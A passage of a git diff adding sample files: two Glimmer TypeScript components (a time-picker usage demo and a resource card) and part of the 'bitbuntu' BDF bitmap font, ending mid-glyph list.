+export default Footer;
diff --git a/samples/Glimmer TS/class.gts b/samples/Glimmer TS/class.gts
new file mode 100644
index 0000000000..d767144c63
--- /dev/null
+++ b/samples/Glimmer TS/class.gts	
@@ -0,0 +1,58 @@
+import Component from '@glimmer/component';
+import FreestyleUsage from 'ember-freestyle/components/freestyle/usage';
+import BoxelInputTime, { Time } from './index';
+import { tracked } from '@glimmer/tracking';
+import { cssVariable, CSSVariableInfo } from 'ember-freestyle/decorators/css-variable';
+import { fn } from '@ember/helper';
+import { action } from '@ember/object';
+
+export default class BoxelInputTimeUsage extends Component {
+  cssClassName = 'boxel-input-time';
+
+  @cssVariable declare boxelInputTimeBackgroundColor: CSSVariableInfo; // TODO: replace or remove
+  @tracked value = new Date(2022,2,3,13,45);
+  @tracked minValue = new Date(2022,2,3,11,0);
+  @tracked minuteInterval = 5;
+  @action timeChanged(val: Time) {
+    this.value = val as Date; //TODO: casting???
+  }
+  <template>
+    <FreestyleUsage @name="Input::Time">
+      <:description>
+        A succint version of a time picker.
+      </:description>
+      <:example>
+        <BoxelInputTime
+          @value={{this.value}}
+          @minValue={{this.minValue}}
+          @minuteInterval={{this.minuteInterval}}
+          @onChange={{this.timeChanged}}
+        />
+      </:example>
+      <:api as |Args|>
+        <Args.Object
+          @name="value"
+          @description="The current value (undefined or conforming to a Time interface that is a subset of JavaScript's Date API"
+          @value={{this.value}}
+          @onInput={{fn (mut this.value)}}
+        />
+        <Args.Object
+          @name="minValue"
+          @description="The times before this value will disabled"
+          @value={{this.minValue}}
+        />
+        <Args.Number
+          @name="minuteInterval"
+          @description="The interval at which to show minute options"
+          @defaultValue={{5}}
+          @value={{this.minuteInterval}}
+          @onInput={{fn (mut this.minuteInterval)}}
+        />
+        <Args.Action
+          @name="onChange"
+          @description="Called when the user changed the time"
+        />
+      </:api>
+    </FreestyleUsage>
+  </template>
+}
\ No newline at end of file
diff --git a/samples/Glimmer TS/template-only.gts b/samples/Glimmer TS/template-only.gts
new file mode 100644
index 0000000000..05b2892cd1
--- /dev/null
+++ b/samples/Glimmer TS/template-only.gts	
@@ -0,0 +1,48 @@
+import { LinkTo } from '@ember/routing';
+import { TOC } from '@ember/component/template-only';
+import Resource from 'ember-crate/models/resource';
+import HeroIcon from 'ember-heroicons/components/hero-icon';
+
+const formatDate = (date: Date) => {
+  const options: Intl.DateTimeFormatOptions = { month: 'short', day: 'numeric', year: 'numeric' };
+  return new Intl.DateTimeFormat('en-US', options).format(new Date(date));
+};
+
+export const ResourceCard: TOC<{ Args: { resource: Resource } }> = <template>
+  <LinkTo
+    @route='resources.resource'
+    @model={{@resource.slug}}
+    class='block max-w-sm rounded-lg border border-gray-200 bg-white drop-shadow-sm hover:bg-slate-50'
+  >
+    <div class='p-3 md:p-4'>
+      <div class='flex gap-2'>
+        <h5
+          class='text-l mb-2 h-[3em] font-medium tracking-tight text-gray-900 line-clamp-2 xl:text-xl tracking-tight'
+        >{{@resource.title}}</h5>
+        {{#if @resource.isFeatured}}
+          <HeroIcon
+            @icon='star'
+            @type='solid'
+            class='mt-2 h-4 w-4 shrink-0 text-yellow-400'
+          />
+        {{/if}}
+      </div>
+
+      <div
+        class='flex flex-col justify-between gap-2 lg:flex-row lg:items-center'
+      >
+        <div class='flex items-center text-sm text-slate-700'>
+          <HeroIcon @icon='clock' @type='outline' class='mr-2 h-4 w-4' />
+          <span>{{formatDate @resource.publishDate}}</span>
+        </div>
+        <div
+          class='w-fit grow-0 rounded bg-slate-100 px-2.5 py-0.5 text-xs font-medium text-slate-800'
+        >
+          {{@resource.type}}
+        </div>
+      </div>
+    </div>
+  </LinkTo>
+</template>;
+
+export default ResourceCard;
\ No newline at end of file
diff --git a/samples/Glyph Bitmap Distribution Format/bitbuntu.bdf b/samples/Glyph Bitmap Distribution Format/bitbuntu.bdf
new file mode 100644
index 0000000000..1b18ed3f86
--- /dev/null
+++ b/samples/Glyph Bitmap Distribution Format/bitbuntu.bdf	
@@ -0,0 +1,2550 @@
+STARTFONT 2.1
+COMMENT Copyright (c) 2011,  Aaron Christianson  ninjaaron@gmail.com
+COMMENT licenced under the OFL 1.1
+COMMENT 1
+FONT -aaron-bitbuntu-medium-r-normal--10-100-72-72-C-90-iSO8859-1
+SIZE 10 72 72
+FONTBOUNDINGBOX 7 11 0 -2
+STARTPROPERTIES 25
+FONTNAME_REGISTRY ""
+FOUNDRY "aaron"
+FAMILY_NAME "bitbuntu"
+WEIGHT_NAME "medium"
+SLANT "r"
+SETWIDTH_NAME "normal"
+ADD_STYLE_NAME ""
+PIXEL_SIZE 10
+POINT_SIZE 100
+RESOLUTION_X 72
+RESOLUTION_Y 72
+SPACING "C"
+AVERAGE_WIDTH 90
+CHARSET_REGISTRY "iSO8859"
+CHARSET_ENCODING "1"
+COPYRIGHT "CC, Aaron Christianson"
+FACE_NAME "bitbuntu"
+WEIGHT 10
+X_HEIGHT 6
+QUAD_WIDTH 6
+_ORIGINAL_FONT_NAME "bitbuntu"
+_GBDFED_INFO "Edited with gbdfed 1.6."
+DEFAULT_CHAR 63
+FONT_DESCENT 2
+FONT_ASCENT 8
+ENDPROPERTIES
+CHARS 190
+STARTCHAR char32
+ENCODING 32
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 0 0 0 0
+BITMAP
+ENDCHAR
+STARTCHAR char33
+ENCODING 33
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 6 3 0
+BITMAP
+80
+80
+80
+80
+00
+80
+ENDCHAR
+STARTCHAR char34
+ENCODING 34
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 2 2 5
+BITMAP
+A0
+A0
+ENDCHAR
+STARTCHAR char35
+ENCODING 35
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 5 1 1
+BITMAP
+50
+F8
+50
+F8
+50
+ENDCHAR
+STARTCHAR char36
+ENCODING 36
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 1 -1
+BITMAP
+20
+78
+80
+70
+08
+F0
+20
+ENDCHAR
+STARTCHAR char37
+ENCODING 37
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+C0
+D8
+30
+60
+D8
+18
+ENDCHAR
+STARTCHAR char38
+ENCODING 38
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 1 0
+BITMAP
+30
+40
+40
+68
+90
+90
+68
+ENDCHAR
+STARTCHAR char39
+ENCODING 39
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 2 2 5
+BITMAP
+80
+80
+ENDCHAR
+STARTCHAR char40
+ENCODING 40
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 2 -1
+BITMAP
+40
+80
+80
+80
+80
+80
+80
+40
+ENDCHAR
+STARTCHAR char41
+ENCODING 41
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 2 -1
+BITMAP
+80
+40
+40
+40
+40
+40
+40
+80
+ENDCHAR
+STARTCHAR char42
+ENCODING 42
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 5 1 1
+BITMAP
+20
+A8
+70
+A8
+20
+ENDCHAR
+STARTCHAR char43
+ENCODING 43
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 5 1 0
+BITMAP
+20
+20
+F8
+20
+20
+ENDCHAR
+STARTCHAR char44
+ENCODING 44
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 3 2 -1
+BITMAP
+40
+C0
+80
+ENDCHAR
+STARTCHAR char45
+ENCODING 45
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 1 1 2
+BITMAP
+F8
+ENDCHAR
+STARTCHAR char46
+ENCODING 46
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 2 2 0
+BITMAP
+C0
+C0
+ENDCHAR
+STARTCHAR char47
+ENCODING 47
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+10
+10
+20
+20
+40
+40
+80
+80
+ENDCHAR
+STARTCHAR char48
+ENCODING 48
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+60
+90
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char49
+ENCODING 49
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 7 2 0
+BITMAP
+40
+C0
+40
+40
+40
+40
+40
+ENDCHAR
+STARTCHAR char50
+ENCODING 50
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+60
+90
+10
+20
+40
+80
+F0
+ENDCHAR
+STARTCHAR char51
+ENCODING 51
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+E0
+10
+10
+60
+10
+10
+E0
+ENDCHAR
+STARTCHAR char52
+ENCODING 52
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 1 0
+BITMAP
+10
+30
+50
+90
+F8
+10
+10
+ENDCHAR
+STARTCHAR char53
+ENCODING 53
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+F0
+80
+80
+E0
+10
+10
+E0
+ENDCHAR
+STARTCHAR char54
+ENCODING 54
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+60
+80
+80
+E0
+90
+90
+60
+ENDCHAR
+STARTCHAR char55
+ENCODING 55
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+F0
+10
+10
+20
+20
+40
+40
+ENDCHAR
+STARTCHAR char56
+ENCODING 56
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+60
+90
+90
+60
+90
+90
+60
+ENDCHAR
+STARTCHAR char57
+ENCODING 57
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+60
+90
+90
+70
+10
+10
+60
+ENDCHAR
+STARTCHAR char58
+ENCODING 58
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 5 2 0
+BITMAP
+C0
+C0
+00
+C0
+C0
+ENDCHAR
+STARTCHAR char59
+ENCODING 59
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 6 2 -1
+BITMAP
+C0
+C0
+00
+40
+C0
+80
+ENDCHAR
+STARTCHAR char60
+ENCODING 60
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 5 1 0
+BITMAP
+20
+60
+C0
+60
+20
+ENDCHAR
+STARTCHAR char61
+ENCODING 61
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 3 1 1
+BITMAP
+F0
+00
+F0
+ENDCHAR
+STARTCHAR char62
+ENCODING 62
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 5 1 0
+BITMAP
+80
+C0
+60
+C0
+80
+ENDCHAR
+STARTCHAR char63
+ENCODING 63
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -1
+BITMAP
+60
+90
+10
+20
+40
+00
+40
+ENDCHAR
+STARTCHAR char64
+ENCODING 64
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+60
+90
+B0
+D0
+D0
+B0
+80
+60
+ENDCHAR
+STARTCHAR char65
+ENCODING 65
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+70
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char66
+ENCODING 66
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+E0
+90
+E0
+90
+90
+E0
+ENDCHAR
+STARTCHAR char67 QUOTE THIS SHIT
+ENCODING 67
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+70
+80
+80
+80
+80
+70
+ENDCHAR
+STARTCHAR char68
+ENCODING 68
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+E0
+90
+90
+90
+90
+E0
+ENDCHAR
+STARTCHAR char69
+ENCODING 69
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+F0
+80
+E0
+80
+80
+F0
+ENDCHAR
+STARTCHAR char70
+ENCODING 70
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+F0
+80
+E0
+80
+80
+80
+ENDCHAR
+STARTCHAR char71
+ENCODING 71
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+70
+80
+80
+90
+90
+70
+ENDCHAR
+STARTCHAR char72
+ENCODING 72
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+90
+90
+90
+F0
+90
+90
+ENDCHAR
+STARTCHAR char73
+ENCODING 73
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 6 3 0
+BITMAP
+80
+80
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char74
+ENCODING 74
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 6 2 0
+BITMAP
+20
+20
+20
+20
+20
+C0
+ENDCHAR
+STARTCHAR char75
+ENCODING 75
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+90
+A0
+C0
+C0
+A0
+90
+ENDCHAR
+STARTCHAR char76
+ENCODING 76
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+80
+80
+80
+80
+80
+F0
+ENDCHAR
+STARTCHAR char77
+ENCODING 77
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+D8
+A8
+A8
+88
+88
+88
+ENDCHAR
+STARTCHAR char78
+ENCODING 78
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+90
+90
+D0
+B0
+90
+90
+ENDCHAR
+STARTCHAR char79
+ENCODING 79
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+60
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char80
+ENCODING 80
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 2 0
+BITMAP
+E0
+90
+90
+E0
+80
+80
+ENDCHAR
+STARTCHAR char81
+ENCODING 81
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -1
+BITMAP
+60
+90
+90
+90
+90
+60
+30
+ENDCHAR
+STARTCHAR char82
+ENCODING 82
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+E0
+90
+90
+E0
+A0
+90
+ENDCHAR
+STARTCHAR char83
+ENCODING 83
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+70
+80
+60
+10
+10
+E0
+ENDCHAR
+STARTCHAR char84
+ENCODING 84
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+F8
+20
+20
+20
+20
+20
+ENDCHAR
+STARTCHAR char85
+ENCODING 85
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+90
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char86
+ENCODING 86
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+90
+90
+90
+90
+60
+60
+ENDCHAR
+STARTCHAR char87
+ENCODING 87
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+88
+88
+88
+A8
+A8
+78
+ENDCHAR
+STARTCHAR char88
+ENCODING 88
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+90
+90
+60
+60
+90
+90
+ENDCHAR
+STARTCHAR char89
+ENCODING 89
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+88
+88
+50
+20
+20
+20
+ENDCHAR
+STARTCHAR char90
+ENCODING 90
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 0
+BITMAP
+F0
+10
+20
+40
+80
+F0
+ENDCHAR
+STARTCHAR char91
+ENCODING 91
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 2 -1
+BITMAP
+C0
+80
+80
+80
+80
+80
+80
+C0
+ENDCHAR
+STARTCHAR char92
+ENCODING 92
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+80
+80
+40
+40
+20
+20
+10
+10
+ENDCHAR
+STARTCHAR char93
+ENCODING 93
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 2 -1
+BITMAP
+C0
+40
+40
+40
+40
+40
+40
+C0
+ENDCHAR
+STARTCHAR char94
+ENCODING 94
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 3 1 3
+BITMAP
+20
+50
+88
+ENDCHAR
+STARTCHAR char95
+ENCODING 95
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 1 1 -1
+BITMAP
+F8
+ENDCHAR
+STARTCHAR char96
+ENCODING 96
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 2 2 5
+BITMAP
+80
+40
+ENDCHAR
+STARTCHAR char97
+ENCODING 97
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char98
+ENCODING 98
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+80
+80
+E0
+90
+90
+90
+E0
+ENDCHAR
+STARTCHAR char99
+ENCODING 99
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+70
+80
+80
+80
+70
+ENDCHAR
+STARTCHAR char100
+ENCODING 100
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+10
+10
+70
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char101
+ENCODING 101
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+60
+90
+F0
+80
+70
+ENDCHAR
+STARTCHAR char102
+ENCODING 102
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 7 2 0
+BITMAP
+60
+80
+E0
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char103
+ENCODING 103
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 -1
+BITMAP
+70
+90
+90
+70
+10
+60
+ENDCHAR
+STARTCHAR char104
+ENCODING 104
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+80
+80
+E0
+90
+90
+90
+90
+ENDCHAR
+STARTCHAR char105
+ENCODING 105
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 7 3 0
+BITMAP
+80
+00
+80
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char106
+ENCODING 106
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 2 -1
+BITMAP
+40
+00
+40
+40
+40
+40
+40
+80
+ENDCHAR
+STARTCHAR char107
+ENCODING 107
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+80
+80
+90
+A0
+C0
+A0
+90
+ENDCHAR
+STARTCHAR char108
+ENCODING 108
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 7 2 0
+BITMAP
+80
+80
+80
+80
+80
+80
+60
+ENDCHAR
+STARTCHAR char109
+ENCODING 109
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 5 1 0
+BITMAP
+F0
+A8
+A8
+A8
+88
+ENDCHAR
+STARTCHAR char110
+ENCODING 110
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+E0
+90
+90
+90
+90
+ENDCHAR
+STARTCHAR char111
+ENCODING 111
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+60
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char112
+ENCODING 112
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 -1
+BITMAP
+E0
+90
+90
+E0
+80
+80
+ENDCHAR
+STARTCHAR char113
+ENCODING 113
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 -1
+BITMAP
+70
+90
+90
+70
+10
+10
+ENDCHAR
+STARTCHAR char114
+ENCODING 114
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 5 2 0
+BITMAP
+E0
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char115
+ENCODING 115
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+70
+80
+60
+10
+E0
+ENDCHAR
+STARTCHAR char116
+ENCODING 116
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 7 2 0
+BITMAP
+80
+80
+E0
+80
+80
+80
+60
+ENDCHAR
+STARTCHAR char117
+ENCODING 117
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char118
+ENCODING 118
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+90
+90
+90
+60
+60
+ENDCHAR
+STARTCHAR char119
+ENCODING 119
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 5 1 0
+BITMAP
+88
+A8
+A8
+A8
+78
+ENDCHAR
+STARTCHAR char120
+ENCODING 120
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+90
+90
+60
+90
+90
+ENDCHAR
+STARTCHAR char121
+ENCODING 121
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 -1
+BITMAP
+90
+90
+90
+70
+10
+60
+ENDCHAR
+STARTCHAR char122
+ENCODING 122
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 0
+BITMAP
+F0
+10
+60
+80
+F0
+ENDCHAR
+STARTCHAR char123
+ENCODING 123
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 2 -1
+BITMAP
+20
+40
+40
+C0
+40
+40
+40
+20
+ENDCHAR
+STARTCHAR char124
+ENCODING 124
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 7 3 -1
+BITMAP
+80
+80
+80
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char125
+ENCODING 125
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 1 -1
+BITMAP
+80
+40
+40
+60
+40
+40
+40
+80
+ENDCHAR
+STARTCHAR char126
+ENCODING 126
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 2 1 2
+BITMAP
+68
+B0
+ENDCHAR
+STARTCHAR char128
+ENCODING 128
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 0 0 0 0
+BITMAP
+ENDCHAR
+STARTCHAR char33
+ENCODING 161
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 7 4 -1
+BITMAP
+80
+00
+80
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char99
+ENCODING 162
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 1 -1
+BITMAP
+10
+70
+A8
+A0
+C8
+70
+40
+ENDCHAR
+STARTCHAR char163
+ENCODING 163
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+38
+40
+40
+F0
+40
+F8
+ENDCHAR
+STARTCHAR char164
+ENCODING 164
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 6 0 0
+BITMAP
+84
+78
+48
+48
+78
+84
+ENDCHAR
+STARTCHAR char165
+ENCODING 165
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 1 -1
+BITMAP
+88
+50
+20
+70
+20
+70
+20
+ENDCHAR
+STARTCHAR char166
+ENCODING 166
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 1 7 3 -1
+BITMAP
+80
+80
+80
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char167
+ENCODING 167
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 6 1 -1
+BITMAP
+70
+40
+A0
+50
+20
+E0
+ENDCHAR
+STARTCHAR char168
+ENCODING 168
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 1 2 5
+BITMAP
+90
+ENDCHAR
+STARTCHAR char169
+ENCODING 169
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 7 0 0
+BITMAP
+30
+48
+B4
+C4
+B4
+48
+30
+ENDCHAR
+STARTCHAR char170
+ENCODING 170
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 5 1 1
+BITMAP
+40
+20
+60
+A0
+60
+ENDCHAR
+STARTCHAR char187
+ENCODING 171
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 3 1 1
+BITMAP
+48
+90
+48
+ENDCHAR
+STARTCHAR char172
+ENCODING 172
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 3 1 0
+BITMAP
+F8
+08
+08
+ENDCHAR
+STARTCHAR char169
+ENCODING 174
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 7 0 0
+BITMAP
+30
+48
+BC
+B4
+AC
+48
+30
+ENDCHAR
+STARTCHAR char175
+ENCODING 175
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 1 2 5
+BITMAP
+E0
+ENDCHAR
+STARTCHAR char176
+ENCODING 176
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 3 1 3
+BITMAP
+40
+A0
+40
+ENDCHAR
+STARTCHAR char177
+ENCODING 177
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 5 2 1
+BITMAP
+40
+E0
+40
+00
+E0
+ENDCHAR
+STARTCHAR char178
+ENCODING 178
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 5 1 2
+BITMAP
+60
+90
+20
+40
+F0
+ENDCHAR
+STARTCHAR char179
+ENCODING 179
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 5 1 2
+BITMAP
+C0
+20
+C0
+20
+C0
+ENDCHAR
+STARTCHAR char180
+ENCODING 180
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 2 2 6
+BITMAP
+40
+80
+ENDCHAR
+STARTCHAR char181
+ENCODING 181
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -2
+BITMAP
+90
+90
+90
+B0
+D0
+80
+80
+ENDCHAR
+STARTCHAR char182
+ENCODING 182
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 0 -1
+BITMAP
+78
+E8
+E8
+68
+28
+28
+28
+ENDCHAR
+STARTCHAR char183
+ENCODING 183
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 2 3 1
+BITMAP
+C0
+C0
+ENDCHAR
+STARTCHAR char184
+ENCODING 184
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 3 2 0
+BITMAP
+40
+20
+E0
+ENDCHAR
+STARTCHAR char185
+ENCODING 185
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 5 1 1
+BITMAP
+40
+C0
+40
+40
+40
+ENDCHAR
+STARTCHAR char186
+ENCODING 186
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 4 1 2
+BITMAP
+60
+90
+90
+60
+ENDCHAR
+STARTCHAR char187
+ENCODING 187
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 3 1 1
+BITMAP
+90
+48
+90
+ENDCHAR
+STARTCHAR char179
+ENCODING 188
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 8 0 -1
+BITMAP
+40
+C0
+40
+48
+18
+28
+3C
+08
+ENDCHAR
+STARTCHAR char189
+ENCODING 189
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 7 0 0
+BITMAP
+40
+C0
+40
+58
+04
+08
+1C
+ENDCHAR
+STARTCHAR char179
+ENCODING 190
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 8 0 -1
+BITMAP
+C0
+20
+40
+28
+D8
+28
+3C
+08
+ENDCHAR
+STARTCHAR char63
+ENCODING 191
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -1
+BITMAP
+20
+00
+20
+40
+80
+90
+60
+ENDCHAR
+STARTCHAR char196
+ENCODING 192
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+40
+20
+70
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char196
+ENCODING 193
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+10
+20
+70
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char196
+ENCODING 194
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+60
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char196
+ENCODING 195
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+50
+A0
+70
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char196
+ENCODING 196
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+90
+00
+70
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char197
+ENCODING 197
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 9 1 0
+BITMAP
+20
+50
+20
+70
+90
+90
+90
+F0
+90
+ENDCHAR
+STARTCHAR char65
+ENCODING 198
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 6 0 0
+BITMAP
+7C
+90
+98
+90
+F0
+9C
+ENDCHAR
+STARTCHAR char67
+ENCODING 199
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -2
+BITMAP
+70
+80
+80
+80
+80
+70
+20
+40
+ENDCHAR
+STARTCHAR char69
+ENCODING 200
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+40
+20
+F0
+80
+E0
+80
+80
+F0
+ENDCHAR
+STARTCHAR char69
+ENCODING 201
